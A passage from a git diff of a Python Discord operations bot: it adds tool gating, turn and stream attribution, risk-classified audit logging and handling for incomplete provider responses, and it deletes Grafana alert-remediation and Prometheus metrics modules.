Digest**\n\n{summary}")) + from .delivery import DISCORD_MAX_LEN + + notice = scrub_response_secrets(f"**Daily Infrastructure Digest**\n\n{summary}") + for offset in range(0, len(notice), DISCORD_MAX_LEN): + await channel.send(notice[offset:offset + DISCORD_MAX_LEN]) # Audit log the digest try: @@ -291,7 +295,14 @@ async def _execute_scheduled_tool( if isinstance(result, ToolResult): return result - return ToolResult(output=str(result), ok=True, tool_name=tool_name) + from .background_task import _is_error_output + + output = str(result) + failed = _is_error_output(output) + return ToolResult( + output=output, ok=not failed, + error="tool_reported_failure" if failed else None, tool_name=tool_name, + ) async def _run_scheduled_workflow( self, @@ -351,7 +362,7 @@ async def _run_scheduled_workflow( step_desc = step.get("description", tool_name) # Evaluate condition against previous step's output - if condition and prev_output: + if condition: if condition.startswith("!"): # Negated condition: skip if substring IS present if condition[1:].lower() in prev_output.lower(): diff --git a/src/discord/tool_catalog.py b/src/discord/tool_catalog.py index 3b95d3f1a..5e138d499 100644 --- a/src/discord/tool_catalog.py +++ b/src/discord/tool_catalog.py @@ -30,11 +30,13 @@ def __init__( get_mcp_definitions: Callable | None = None, computer_available: Callable | None = None, get_usage_rollup: Callable | None = None, + get_email_config: Callable | None = None, ) -> None: self.get_config = get_config self.computer_available = computer_available self.skill_manager = skill_manager self.get_usage_rollup = get_usage_rollup + self.get_email_config = get_email_config # Published MCP tool definitions (MCP campaign P3). None keeps the # catalog MCP-free; the provider returns ONLY tools satisfying the # publication predicate, and every publication transition invalidates @@ -139,8 +141,20 @@ def backend_hidden_names(self, config=None) -> set[str]: if config is None: config = self.get_config() hidden: set[str] = set() - if not getattr(config, "email", None) or not config.email.enabled: + email = self.get_email_config() if self.get_email_config else getattr(config, "email", None) + if not email or not email.enabled: hidden.update({"email_send", "email_search", "email_read", "email_list_recent"}) + if not getattr(config, "browser", None) or not config.browser.enabled: + hidden.update({"browser_screenshot", "browser_read_page", "browser_read_table", + "browser_click", "browser_fill", "browser_evaluate"}) + if not getattr(config, "search", None) or not config.search.enabled: + hidden.update({"search_knowledge", "ingest_document", "bulk_ingest_knowledge", + "list_knowledge", "delete_knowledge"}) + computer = getattr(config, "computer", None) + if not computer or not computer.enabled or ( + self.computer_available is not None and not self.computer_available() + ): + hidden.update({"computer_session", "computer_observe", "computer_act"}) # generate_image: visible only when native generation is structurally # available (Codex provider selected and native generation enabled). from ..tools.image.selector import image_tool_available diff --git a/src/discord/tool_loop.py b/src/discord/tool_loop.py index 29dc885ba..0c425c026 100644 --- a/src/discord/tool_loop.py +++ b/src/discord/tool_loop.py @@ -59,6 +59,7 @@ from ..tools import ToolResult from ..tools.effect_classifier import ToolEffectClass, classify_tool_effect from ..tools.output_streamer import current_call_id as _current_call_id +from ..tools.output_streamer import current_stream_attribution as _current_stream_attribution from ..tools.recovery import executor_execution_budget from ..turn_state import LedgerIntentError from ..turn_state.durability import TurnDurability @@ -281,6 +282,13 @@ def _unwrap_native_result(result): output)`` so the caller audits the metadata and sends the string.""" if isinstance(result, ToolResult): return result, result.output + from ..tools.execution_outcome import ToolFailure, is_tool_failure + + if is_tool_failure(result): + return ToolResult( + output=result, ok=False, error="tool reported failure", + uncertain_outcome=isinstance(result, ToolFailure) and result.uncertain_outcome, + ), result return None, result @@ -513,6 +521,7 @@ class _LoopTurn: pending_image_blocks: list = field(default_factory=list) final_text: str = "" completed_naturally: bool = False # True only when a tool-free turn ended the loop + provider_incomplete: bool = False tool_calls_made: int = 0 # Context-budget campaign (phase 4): the surface boundary for emergency # recovery (prev_context replay elidable, current prompt protected), the @@ -1886,6 +1895,8 @@ def _on_wait(wait: float, remaining: float, error: BaseException) -> None: # live-reloadable in place, so merely retaining the object is not an # identity freeze. pin_kwargs = {} + if serving_identity.model: + pin_kwargs["model"] = serving_identity.model if serving_identity.is_codex: if serving_identity.model: pin_kwargs["model"] = serving_identity.model @@ -2004,6 +2015,7 @@ async def _attempt(): try: llm_resp = await generate_with_recovery( _attempt, + generation_client=serving_identity.client, policy=policy, breaker=breaker, deadline_seconds=( @@ -2510,6 +2522,17 @@ async def _finalize_or_retry(self, st: _ChatTurn, llm_resp): """ if st._cancel.is_set(): return ("done", self._stopped(st, "before_validation")) + if getattr(llm_resp, "stop_reason", None) == "incomplete": + # Preserve every byte of the accepted output. No automatic retry, + # guard budget, or successful trajectory can erase its settlement. + final = (llm_resp.text or "") + "\n\n[Provider marked this response incomplete.]" + self._channel_state.close_steer_inbox(st._ch_id, st._req_id) + await self._turn_recorder._save_turn_trajectory( + st._trajectory, error=final, + tools_used=st.tools_used_in_loop, trace=st.trace, + ) + self._clear_active(st) + return ("done", (final, False, True, st.tools_used_in_loop, False)) # Enforce pending validation before allowing final response if st._validation_required and st._validation_retries < st._max_validation_retries: st._validation_retries += 1 @@ -2766,6 +2789,7 @@ async def _run_one_tool_captured(self, st: _ChatTurn, block) -> dict: # be told apart by name, and neither LIFO nor FIFO ordering # is correct when a later call finishes first. "call_id": block.id, + "turn_id": str(getattr(st.message, "id", "")), }, ) except Exception: @@ -2814,6 +2838,11 @@ async def _run_one_tool_captured(self, st: _ChatTurn, block) -> dict: # Bind this invocation's identity so streamed output can be # attributed to ONE call rather than merged by tool name. _call_token = _current_call_id.set(block.id) + _stream_context = _current_stream_attribution.set({ + "turn_id": str(getattr(st.message, "id", "")), + "iteration": st.iteration, + "user_id": st.user_id, + }) try: tool_result = await self._tool_executor.execute( tool_name, @@ -2822,6 +2851,7 @@ async def _run_one_tool_captured(self, st: _ChatTurn, block) -> dict: ) finally: _current_call_id.reset(_call_token) + _current_stream_attribution.reset(_stream_context) result = tool_result.output except TimeoutError as e: error = str(e) @@ -3060,7 +3090,12 @@ async def _audit_tool_outcome( for k, v in (tool_input or {}).items() }, ) + from ..tools.risk_classifier import classify_tool + + risk = classify_tool(tool_name, tool_input) await self._audit.log_execution( + # All routes use the same action-aware classifier, including + # native tools without an executor-produced ToolResult. user_id=str(st.message.author.id), user_name=str(st.message.author), channel_id=str(st.message.channel.id), @@ -3070,10 +3105,13 @@ async def _audit_tool_outcome( result_summary=result, execution_time_ms=elapsed_ms, error=error, - risk_level=tool_result.risk_level if tool_result else None, - risk_reason=tool_result.risk_reason if tool_result else None, + risk_level=risk.level.value, + risk_reason=risk.reason, audit_metadata=tool_result.audit_metadata if tool_result else None, - attribution={"call_id": call_id, "iteration": st.iteration}, + attribution={ + "call_id": call_id, "iteration": st.iteration, + "turn_id": str(getattr(st.message, "id", "")), + }, event_type=terminal_event, ) if terminal_event: @@ -3090,6 +3128,7 @@ async def _audit_tool_outcome( "error": error, "iteration": st.iteration, "call_id": call_id, + "turn_id": str(getattr(st.message, "id", "")), }, ) except Exception as audit_err: @@ -3387,7 +3426,10 @@ async def run_autonomous( Codex + tool execution pipeline but without detection retries. """ if not self._llm_gateway.active_client: - return "LLM provider not available." + from ..tools.autonomous_loop import LoopIterationResult + + return LoopIterationResult("LLM provider not available.", is_error=True, + failure_class="provider") st = self._prepare_loop_turn(prompt, channel, prev_context, user_id, policy) @@ -3576,7 +3618,9 @@ async def _finish_loop( tool_details=st._loop_details, user_id=st.user_id, ) - return outcome_text + from ..tools.autonomous_loop import LoopIterationResult + + return LoopIterationResult(outcome_text, is_error=is_error, failure_class=failure_class) def _maybe_compress_loop(self, st: _LoopTurn, serving, config, *, budget_snapshot=None) -> None: """Loop pre-send compaction (campaign phase 4 — loops previously had @@ -3667,6 +3711,8 @@ async def _call_loop_llm( policy = self._llm_gateway.recovery_policy() pin_kwargs = {} + if serving_identity.model: + pin_kwargs["model"] = serving_identity.model if serving_identity.is_codex: if serving_identity.model: pin_kwargs["model"] = serving_identity.model @@ -3733,6 +3779,7 @@ async def _attempt(): ) response = await generate_with_recovery( _attempt, + generation_client=serving_identity.client, policy=policy, breaker=breaker, retry_circuit_open=False, @@ -3895,6 +3942,10 @@ def _record_loop_iteration(self, st: _LoopTurn, response, _iteration: int) -> bo if response.text: st.final_text = response.text + if getattr(response, "stop_reason", None) == "incomplete": + st.provider_incomplete = True + st.completed_naturally = False + return True if not response.tool_calls: st.completed_naturally = True return True @@ -3925,7 +3976,13 @@ async def _run_one_loop_tool(self, st: _LoopTurn, block) -> dict: # This wrapper owns autonomous lifecycle evidence. The dispatch callback # owns agent evidence instead, since agents have no outer audit writer. - attribution = {"call_id": block.id, "iteration": st._iteration_index} + attribution = { + "call_id": block.id, "iteration": st._iteration_index, + } + if getattr(st, "_loop_id", ""): + attribution["loop_id"] = st._loop_id + if (get_turn() or {}).get("turn_id"): + attribution["turn_id"] = (get_turn() or {})["turn_id"] try: await self._audit.log_event( event_type="loop_tool_start", @@ -3959,10 +4016,12 @@ async def _run_one_loop_tool(self, st: _LoopTurn, block) -> dict: # chat. Bind their model tool-use id too, or concurrent # same-name calls cross streams in the WebUI. _call_token = _current_call_id.set(block.id) + _stream_context = _current_stream_attribution.set(attribution) try: raw = await asyncio.wait_for(dispatch, timeout=_t) finally: _current_call_id.reset(_call_token) + _current_stream_attribution.reset(_stream_context) # Skill CRUD invalidates caches if tool_name in ( "create_skill", @@ -4023,6 +4082,9 @@ async def _run_one_loop_tool(self, st: _LoopTurn, block) -> dict: # Audit log try: + from ..tools.risk_classifier import classify_tool + + risk = classify_tool(tool_name, tool_input) await self._audit.log_execution( user_id=st.user_id, user_name=st.requester_name, @@ -4034,6 +4096,8 @@ async def _run_one_loop_tool(self, st: _LoopTurn, block) -> dict: execution_time_ms=elapsed_ms, error=error, audit_metadata=_audit_meta, + risk_level=risk.level.value, + risk_reason=risk.reason, attribution=attribution, event_type="loop_tool", ) @@ -4105,13 +4169,19 @@ async def _execute_loop_tools(self, st: _LoopTurn, response) -> list: async def _finalize_loop(self, st: _LoopTurn) -> str: """Loop exits: natural completion, cap exhaustion, or no response. Scrub final text; posting is handled by _post_response in LoopManager.""" + if getattr(st, "provider_incomplete", False): + return await self._finish_loop( + st, st.final_text + "\n\n[Provider marked this response incomplete.]", + is_error=True, failure_class="llm_incomplete", + error_text=st.final_text + "\n\n[Provider marked this response incomplete.]", + ) # Only treat final_text as a clean success when the loop ended NATURALLY # (a tool-free response). If we fell out by exhausting the cap, any # final_text is stale pre-tool text from some earlier iteration — # returning it as is_error=False would silently hide the cap hit (the # cap-warning path below was unreachable whenever any iteration produced # text). - if st.final_text and st.completed_naturally: + if st.completed_naturally: final_text = scrub_output_secrets(st.final_text) if len(final_text) > DISCORD_MAX_LEN: final_text = final_text[: DISCORD_MAX_LEN - 50] + "\n... (truncated)" @@ -4131,7 +4201,7 @@ async def _finalize_loop(self, st: _LoopTurn) -> str: # Cap exhausted without a tool-free response. Surface it (optionally with # the stale partial text) instead of hiding the truncation. - if st.tool_calls_made >= st.loop_cap or not st.completed_naturally: + if not st.completed_naturally: log.warning( "Loop tool-iteration cap hit (%d) after %d tool calls; " "no tool-free summary from Codex", @@ -4150,7 +4220,7 @@ async def _finalize_loop(self, st: _LoopTurn) -> str: f"Raise `tools.max_tool_iterations_loop` in config (or via the " f"web UI) if this happens repeatedly." + _partial, is_error=True, - failure_class="cancelled", + failure_class="iteration_cap", error_text=f"loop iteration cap {st.loop_cap} reached", ) @@ -4404,4 +4474,18 @@ async def _dispatch_loop_tool_captured( if is_mcp_tool(self._mcp_manager, tool_name): return await dispatch_mcp_tool(self._mcp_manager, tool_name, tool_input) # --- Executor-routed tools (run_command, run_script, SSH, etc.) --- - return await self._tool_executor.execute(tool_name, tool_input, user_id=user_id) + # Agent dispatch has no outer loop writer/binder. Bind only at executor + # entry, not native spawn calls whose children inherit ContextVars. + try: + attribution = get_agent_tool_context() + except Exception: + attribution = None + if not attribution: + return await self._tool_executor.execute(tool_name, tool_input, user_id=user_id) + call_binding = _current_call_id.set(attribution.get("call_id")) + stream_binding = _current_stream_attribution.set(dict(attribution)) + try: + return await self._tool_executor.execute(tool_name, tool_input, user_id=user_id) + finally: + _current_call_id.reset(call_binding) + _current_stream_attribution.reset(stream_binding) diff --git a/src/discord/turn_resume.py b/src/discord/turn_resume.py index 0aeedbbe1..73bddf83f 100644 --- a/src/discord/turn_resume.py +++ b/src/discord/turn_resume.py @@ -103,9 +103,12 @@ async def is_suspended(self, channel_id: str, message_id: str) -> bool: row = await asyncio.to_thread(self._store.load_resumable_sync, key) return row is not None - async def _latest_suspended_for_channel(self, channel_id: str) -> dict | None: + async def _latest_suspended_for_channel( + self, channel_id: str, user_id: str | None = None, + ) -> dict | None: rows = await asyncio.to_thread(self._store.list_suspended_sync, "discord") - candidates = [r for r in rows if r["channel_id"] == channel_id] + candidates = [r for r in rows if r["channel_id"] == channel_id + and (user_id is None or str(r.get("user_id") or "") == user_id)] if not candidates: return None return max(candidates, key=lambda r: r.get("suspended_at") or 0.0) @@ -337,9 +340,15 @@ async def try_explicit_resume(self, message: Any): # failed, so fail closed with a bounded notice (round-6 task 1). try: channel_id = str(message.channel.id) - row_summary = await self._latest_suspended_for_channel(channel_id) + row_summary = await self._latest_suspended_for_channel( + channel_id, str(message.author.id), + ) if row_summary is None: - return None # lookup succeeded: genuinely nothing to resume + # Preserve recognition/refusal when only another owner's work + # exists; never turn their resume command into fresh execution. + row_summary = await self._latest_suspended_for_channel(channel_id) + if row_summary is None: + return None # lookup succeeded: genuinely nothing to resume return await self._explicit_resume_recognized(message, row_summary) except Exception: log.exception("Explicit resume failed internally") diff --git a/src/discord/wiring.py b/src/discord/wiring.py index 4f1fd0548..d85e4771a 100644 --- a/src/discord/wiring.py +++ b/src/discord/wiring.py @@ -378,7 +378,7 @@ def build_services( compatible_client: OpenAICompatibleClient | None = None compat_cfg = getattr(config, "openai_compatible", None) if compat_cfg and compat_cfg.enabled and compat_cfg.api_key: - from ..llm.openai_compatible import KIMI_TOOL_ENFORCEMENT + from ..llm.openai_compatible import KIMI_TOOL_ENFORCEMENT, preset_context_overflow_pattern quirks = {} if compat_cfg.preset == "kimi": @@ -399,6 +399,7 @@ def build_services( request_timeout_seconds=compat_cfg.request_timeout_seconds, stream_stall_timeout_seconds=compat_cfg.stream_stall_timeout_seconds, tool_quirks=quirks, + context_overflow_pattern=preset_context_overflow_pattern(compat_cfg.preset), reasoning_dialect=compatible_reasoning_dialect(compat_cfg), glm_clear_thinking=getattr(compat_cfg, "glm_clear_thinking", None), reasoning_content_feedback_policy=getattr( @@ -458,7 +459,7 @@ def build_services( trajectory_saver.set_usage_observer(usage_rollup) agent_trajectory_saver.set_usage_observer(usage_rollup) - # Cost tracking remains the hot-process Prometheus accumulator; persistent + # Cost tracking remains the hot-process usage accumulator; persistent # WebUI history is served by usage_rollup. cost_tracker = CostTracker() @@ -833,6 +834,9 @@ def build_components(bot, services: BotServices) -> BotComponents: get_mcp_definitions=services.mcp_manager.get_tool_definitions, computer_available=lambda: computer.enabled, get_usage_rollup=lambda: services.usage_rollup, + # Email configuration is startup-owned until a restart, unlike the + # desired hot-saved config. Never advertise an unavailable backend. + get_email_config=lambda: services.tool_executor._email_config, ) # A live provider switch must rebuild the tool registry so provider-gated # tools (native image gen is Codex-only) reappear/disappear immediately. @@ -1092,6 +1096,7 @@ def _release_chat_calibration(key) -> None: channel_state=services.channel_state, sessions=services.sessions, pipeline=pipeline, + tool_executor=services.tool_executor, ) ) diff --git a/src/health/grafana_alerts.py b/src/health/grafana_alerts.py deleted file mode 100644 index a92fa2f94..000000000 --- a/src/health/grafana_alerts.py +++ /dev/null @@ -1,450 +0,0 @@ -"""Grafana alert parser and auto-remediation handler. - -Parses Grafana unified alerting webhook payloads into structured objects, -matches alerts against configurable rules, and spawns autonomous remediation -loops for matching firing alerts. -""" -from __future__ import annotations - -import fnmatch -import time -from collections import deque -from dataclasses import dataclass, field -from typing import Any - -from ..odin_log import get_logger - -log = get_logger("grafana_alerts") - -MAX_ALERT_HISTORY = 200 -MAX_CONCURRENT_REMEDIATIONS = 5 -DEFAULT_COOLDOWN_SECONDS = 300 # 5 minutes between remediations for same alert -# Cadence for the health lifecycle's stale-record/cooldown pruning. Records -# only become stale after an hour (see cleanup_old_remediations), so this is -# deliberately coarse: it bounds growth without a per-tick cost. -REMEDIATION_CLEANUP_INTERVAL_SECONDS = 300 -DEFAULT_REMEDIATION_INTERVAL = 30 # seconds between loop iterations -DEFAULT_REMEDIATION_MAX_ITER = 10 -MAX_ANNOTATION_LEN = 1000 -MAX_LABEL_VALUE_LEN = 500 - - -@dataclass -class GrafanaAlert: - """Parsed Grafana alert with all relevant fields.""" - fingerprint: str - status: str # "firing" or "resolved" - alert_name: str - labels: dict[str, str] - annotations: dict[str, str] - starts_at: str - ends_at: str - generator_url: str - silence_url: str - dashboard_url: str - panel_url: str - values: dict[str, Any] - severity: str # extracted from labels or "unknown" - instance: str # extracted from labels or "" - summary: str # extracted from annotations or "" - description: str # extracted from annotations or "" - received_at: float = field(default_factory=time.monotonic) - - -@dataclass -class RemediationRule: - """Rule mapping alert patterns to remediation goals.""" - id: str - name_pattern: str # fnmatch pattern for alert_name - label_matchers: dict[str, str] = field(default_factory=dict) # label_key -> fnmatch pattern - severity_filter: list[str] = field(default_factory=list) # empty = match all - remediation_goal: str = "" - mode: str = "notify" # "notify", "act", "silent" - interval_seconds: int = DEFAULT_REMEDIATION_INTERVAL - max_iterations: int = DEFAULT_REMEDIATION_MAX_ITER - cooldown_seconds: int = DEFAULT_COOLDOWN_SECONDS - enabled: bool = True - - -@dataclass -class RemediationRecord: - """Tracks an active or completed remediation spawned from an alert.""" - alert_fingerprint: str - alert_name: str - rule_id: str - loop_id: str - started_at: float - status: str = "running" # "running", "completed", "error" - - -def parse_grafana_payload(data: dict) -> list[GrafanaAlert]: - """Parse a Grafana unified alerting webhook payload into GrafanaAlert objects. - - Handles both the unified alerting format (alerts array) and the legacy - single-alert format (title + message). - """ - alerts_raw = data.get("alerts", []) - if not alerts_raw: - title = data.get("title", data.get("ruleName", "")) - message = data.get("message", data.get("state", "")) - if not title and not message: - return [] - return [GrafanaAlert( - fingerprint=_make_fingerprint(title, {}), - status=data.get("state", "alerting"), - alert_name=title, - labels={}, - annotations={"summary": message} if message else {}, - starts_at="", - ends_at="", - generator_url=data.get("ruleUrl", ""), - silence_url="", - dashboard_url="", - panel_url="", - values={}, - severity="unknown", - instance="", - summary=message[:MAX_ANNOTATION_LEN] if message else "", - description="", - )] - - parsed: list[GrafanaAlert] = [] - for raw in alerts_raw: - labels = raw.get("labels", {}) - annotations = raw.get("annotations", {}) - values = raw.get("values") or raw.get("valueString") or {} - if isinstance(values, str): - values = {"raw": values} - - alert_name = labels.get("alertname", raw.get("alertname", "Unknown")) - severity = labels.get("severity", "unknown") - instance = labels.get("instance", "") - summary = annotations.get("summary", "")[:MAX_ANNOTATION_LEN] - description = annotations.get("description", "")[:MAX_ANNOTATION_LEN] - - fingerprint = raw.get("fingerprint", _make_fingerprint(alert_name, labels)) - - parsed.append(GrafanaAlert( - fingerprint=fingerprint, - status=raw.get("status", "unknown"), - alert_name=alert_name, - labels={k: str(v)[:MAX_LABEL_VALUE_LEN] for k, v in labels.items()}, - annotations={k: str(v)[:MAX_ANNOTATION_LEN] for k, v in annotations.items()}, - starts_at=raw.get("startsAt", ""), - ends_at=raw.get("endsAt", ""), - generator_url=raw.get("generatorURL", ""), - silence_url=raw.get("silenceURL", ""), - dashboard_url=raw.get("dashboardURL", ""), - panel_url=raw.get("panelURL", ""), - values=values, - severity=severity, - instance=instance, - summary=summary, - description=description, - )) - - return parsed - - -def format_alert_message(alerts: list[GrafanaAlert]) -> str: - """Format parsed alerts into a Discord message.""" - if not alerts: - return "**Grafana Alert** \u2014 (no alerts in payload)" - - lines: list[str] = [] - for alert in alerts[:10]: - emoji = "\U0001f534" if alert.status == "firing" else "\U0001f7e2" - line = f"{emoji} **{alert.alert_name}** ({alert.status})" - if alert.instance: - line += f" \u2014 `{alert.instance}`" - if alert.severity and alert.severity != "unknown": - line += f" [{alert.severity}]" - if alert.summary: - line += f"\n {alert.summary[:200]}" - elif alert.description: - line += f"\n {alert.description[:200]}" - if alert.values and isinstance(alert.values, dict) and "raw" not in alert.values: - val_parts = [f"{k}={v}" for k, v in list(alert.values.items())[:3]] - if val_parts: - line += f"\n Values: {', '.join(val_parts)}" - lines.append(line) - - header = f"**Grafana Alerts** ({len(alerts)} alert(s)):" - if len(alerts) == 1: - header = "**Grafana Alert**:" - return header + "\n" + "\n".join(lines) - - -def _make_fingerprint(name: str, labels: dict) -> str: - """Generate a deterministic fingerprint from alert name + labels.""" - parts = [name] + [f"{k}={v}" for k, v in sorted(labels.items())] - import hashlib - return hashlib.md5("|".join(parts).encode()).hexdigest()[:16] - - -def matches_rule(alert: GrafanaAlert, rule: RemediationRule) -> bool: - """Check if an alert matches a remediation rule.""" - if not rule.enabled: - return False - if not fnmatch.fnmatch(alert.alert_name, rule.name_pattern): - return False - if rule.severity_filter and alert.severity not in rule.severity_filter: - return False - for label_key, pattern in rule.label_matchers.items(): - label_val = alert.labels.get(label_key, "") - if not fnmatch.fnmatch(label_val, pattern): - return False - return True - - -def build_remediation_prompt(alert: GrafanaAlert, rule: RemediationRule) -> str: - """Build the goal prompt for a remediation loop from alert + rule context.""" - parts = [ - f"ALERT REMEDIATION: {alert.alert_name} is {alert.status}", - ] - if alert.instance: - parts.append(f"Instance: {alert.instance}") - if alert.severity != "unknown": - parts.append(f"Severity: {alert.severity}") - if alert.summary: - parts.append(f"Summary: {alert.summary[:300]}") - elif alert.description: - parts.append(f"Description: {alert.description[:300]}") - if alert.values and isinstance(alert.values, dict): - val_str = ", ".join(f"{k}={v}" for k, v in list(alert.values.items())[:5]) - if val_str: - parts.append(f"Values: {val_str}") - - parts.append("") - if rule.remediation_goal: - parts.append(f"Goal: {rule.remediation_goal}") - else: - parts.append( - f"Goal: Investigate and remediate the alert '{alert.alert_name}'. " - "Check the affected service, diagnose root cause, and take corrective action if safe." - ) - - parts.append("") - parts.append( - "Stop condition: The alert is resolved or you have diagnosed the issue " - "and taken corrective action (or determined no action is needed)." - ) - - return "\n".join(parts) - - -class GrafanaAlertHandler: - """Manages Grafana alert parsing, rule matching, and remediation loop spawning.""" - - def __init__( - self, - rules: list[RemediationRule] | None = None, - auto_remediate: bool = False, - cooldown_seconds: int = DEFAULT_COOLDOWN_SECONDS, - max_concurrent: int = MAX_CONCURRENT_REMEDIATIONS, - ) -> None: - self._rules: list[RemediationRule] = list(rules or []) - self._auto_remediate = auto_remediate - self._cooldown_seconds = cooldown_seconds - self._max_concurrent = max_concurrent - self._alert_history: deque[dict] = deque(maxlen=MAX_ALERT_HISTORY) - self._remediations: dict[str, RemediationRecord] = {} - self._cooldowns: dict[str, float] = {} # fingerprint -> last_remediation_time - self._stats = {"alerts_received": 0, "remediations_spawned": 0, "rules_matched": 0} - - @property - def rules(self) -> list[RemediationRule]: - return list(self._rules) - - @property - def alert_history(self) -> list[dict]: - return list(self._alert_history) - - @property - def active_remediations(self) -> dict[str, RemediationRecord]: - return dict(self._remediations) - - def add_rule(self, rule: RemediationRule) -> None: - for existing in self._rules: - if existing.id == rule.id: - raise ValueError(f"Rule with id '{rule.id}' already exists") - self._rules.append(rule) - log.info("Added remediation rule: %s (pattern=%s)", rule.id, rule.name_pattern) - - def remove_rule(self, rule_id: str) -> bool: - for i, rule in enumerate(self._rules): - if rule.id == rule_id: - self._rules.pop(i) - log.info("Removed remediation rule: %s", rule_id) - return True - return False - - def get_rule(self, rule_id: str) -> RemediationRule | None: - for rule in self._rules: - if rule.id == rule_id: - return rule - return None - - def process_alerts( - self, - alerts: list[GrafanaAlert], - ) -> list[tuple[GrafanaAlert, RemediationRule]]: - """Process alerts and return (alert, rule) pairs that should spawn remediations. - - Only firing alerts are considered for remediation. Resolved alerts are - recorded in history but don't trigger new loops. - """ - self._stats["alerts_received"] += len(alerts) - matches: list[tuple[GrafanaAlert, RemediationRule]] = [] - - for alert in alerts: - self._alert_history.append({ - "fingerprint": alert.fingerprint, - "alert_name": alert.alert_name, - "status": alert.status, - "severity": alert.severity, - "instance": alert.instance, - "summary": alert.summary[:200], - "received_at": alert.received_at, - "labels": dict(list(alert.labels.items())[:10]), - }) - - if alert.status != "firing": - self._mark_resolved(alert.fingerprint) - continue - - if not self._auto_remediate: - continue - - for rule in self._rules: - if matches_rule(alert, rule): - cooldown_key = f"{alert.fingerprint}:{rule.id}" - if self._is_on_cooldown(cooldown_key, rule.cooldown_seconds): - log.debug( - "Alert %s matches rule %s but is on cooldown", - alert.alert_name, rule.id, - ) - continue - if self._count_active() >= self._max_concurrent: - log.warning( - "Max concurrent remediations (%d) reached, skipping %s", - self._max_concurrent, alert.alert_name, - ) - continue - self._stats["rules_matched"] += 1 - matches.append((alert, rule)) - self._cooldowns[cooldown_key] = time.monotonic() - break # first matching rule wins - - return matches - - def record_remediation( - self, alert: GrafanaAlert, rule: RemediationRule, loop_id: str, - ) -> None: - """Record that a remediation loop was spawned for an alert.""" - self._remediations[loop_id] = RemediationRecord( - alert_fingerprint=alert.fingerprint, - alert_name=alert.alert_name, - rule_id=rule.id, - loop_id=loop_id, - started_at=time.monotonic(), - ) - self._stats["remediations_spawned"] += 1 - log.info( - "Remediation loop %s spawned for alert %s (rule %s)", - loop_id, alert.alert_name, rule.id, - ) - - def update_remediation_status(self, loop_id: str, status: str) -> None: - """Update the status of a tracked remediation.""" - rec = self._remediations.get(loop_id) - if rec: - rec.status = status - - def _mark_resolved(self, fingerprint: str) -> None: - """Mark active remediations for a fingerprint as completed.""" - for rec in self._remediations.values(): - if rec.alert_fingerprint == fingerprint and rec.status == "running": - rec.status = "completed" - - def _is_on_cooldown(self, key: str, cooldown_seconds: int) -> bool: - last = self._cooldowns.get(key) - if last is None: - # Never remediated. A `0` sentinel here reads as "on cooldown - # since boot" on the monotonic clock, silently dropping every - # alert for the first cooldown_seconds after a host reboot — - # exactly the window when alerts fire (caught by the first CI - # run on a fresh runner, RFC-003 P0). - return False - return (time.monotonic() - last) < cooldown_seconds - - def _count_active(self) -> int: - return sum(1 for r in self._remediations.values() if r.status == "running") - - def cleanup_old_remediations(self) -> int: - """Remove completed/errored remediations older than 1 hour and stale cooldowns.""" - now = time.monotonic() - to_remove = [ - lid for lid, rec in self._remediations.items() - if rec.status != "running" and (now - rec.started_at) > 3600 - ] - for lid in to_remove: - del self._remediations[lid] - max_cooldown = max( - (r.cooldown_seconds for r in self._rules), - default=self._cooldown_seconds, - ) - stale_keys = [ - k for k, ts in self._cooldowns.items() - if (now - ts) > max_cooldown * 2 - ] - for k in stale_keys: - del self._cooldowns[k] - return len(to_remove) + len(stale_keys) - - def get_status(self) -> dict: - """Return handler status for API/status endpoints.""" - active = self._count_active() - return { - "auto_remediate": self._auto_remediate, - "rules_count": len(self._rules), - "alerts_received": self._stats["alerts_received"], - "remediations_spawned": self._stats["remediations_spawned"], - "rules_matched": self._stats["rules_matched"], - "active_remediations": active, - "alert_history_size": len(self._alert_history), - "max_concurrent": self._max_concurrent, - "cooldown_seconds": self._cooldown_seconds, - } - - def get_rules_list(self) -> list[dict]: - """Return rules as serializable dicts.""" - return [ - { - "id": r.id, - "name_pattern": r.name_pattern, - "label_matchers": r.label_matchers, - "severity_filter": r.severity_filter, - "remediation_goal": r.remediation_goal, - "mode": r.mode, - "interval_seconds": r.interval_seconds, - "max_iterations": r.max_iterations, - "cooldown_seconds": r.cooldown_seconds, - "enabled": r.enabled, - } - for r in self._rules - ] - - def get_remediations_list(self) -> list[dict]: - """Return remediations as serializable dicts.""" - return [ - { - "loop_id": r.loop_id, - "alert_fingerprint": r.alert_fingerprint, - "alert_name": r.alert_name, - "rule_id": r.rule_id, - "started_at": r.started_at, - "status": r.status, - } - for r in self._remediations.values() - ] diff --git a/src/health/metrics.py b/src/health/metrics.py deleted file mode 100644 index 5c46b3426..000000000 --- a/src/health/metrics.py +++ /dev/null @@ -1,458 +0,0 @@ -"""Prometheus exposition format metrics for Odin. - -Generates /metrics output in Prometheus text format (text/plain; version=0.0.4). -No external dependencies — the exposition format is trivially serializable. - -Usage: - collector = MetricsCollector() - collector.register_source("tools", lambda: executor.get_metrics()) - text = collector.render() -""" -from __future__ import annotations - -import time -from collections.abc import Callable -from typing import Any - -# Type for a callable that returns arbitrary metric data -MetricSource = Callable[[], Any] - - -def _escape_label_value(v: str) -> str: - """Escape a Prometheus label value (backslash, double-quote, newline).""" - return v.replace("\\", "\\\\").replace('"', '\\"').replace("\n", "\\n") - - -def _format_metric( - name: str, - value: float | int, - *, - metric_type: str = "gauge", - help_text: str = "", - labels: dict[str, str] | None = None, - include_header: bool = True, -) -> str: - """Format a single metric line in Prometheus exposition format.""" - lines = [] - if include_header: - if help_text: - lines.append(f"# HELP {name} {help_text}") - lines.append(f"# TYPE {name} {metric_type}") - if labels: - label_str = ",".join( - f'{k}="{_escape_label_value(str(v))}"' for k, v in sorted(labels.items()) - ) - lines.append(f"{name}{{{label_str}}} {value}") - else: - lines.append(f"{name} {value}") - return "\n".join(lines) - - -class MetricsCollector: - """Collects and renders Prometheus-format metrics from registered sources.""" - - def __init__(self) -> None: - self._start_time = time.time() - self._sources: dict[str, MetricSource] = {} - self._ready = False - self._component_check: Callable[[], dict[str, dict]] | None = None - - def set_ready(self, ready: bool) -> None: - self._ready = ready - - def set_component_check(self, check: Callable[[], dict[str, dict]]) -> None: - """Register the component health checker from HealthServer.""" - self._component_check = check - - def register_source(self, name: str, source: MetricSource) -> None: - """Register a named metric source. - - Sources are callables that return data used to generate metrics. - Supported source names and their expected return types: - - "tools": dict[str, dict[str, int]] from ToolExecutor.get_metrics() - - "circuit_breaker": CircuitBreaker instance (has .state, ._failure_count) - - "sessions": SessionManager instance (has .active_count) - - "scheduler": callable returning int (schedule count) - - "loops": callable returning int (active loop count) - """ - self._sources[name] = source - - def render(self) -> str: - """Render all 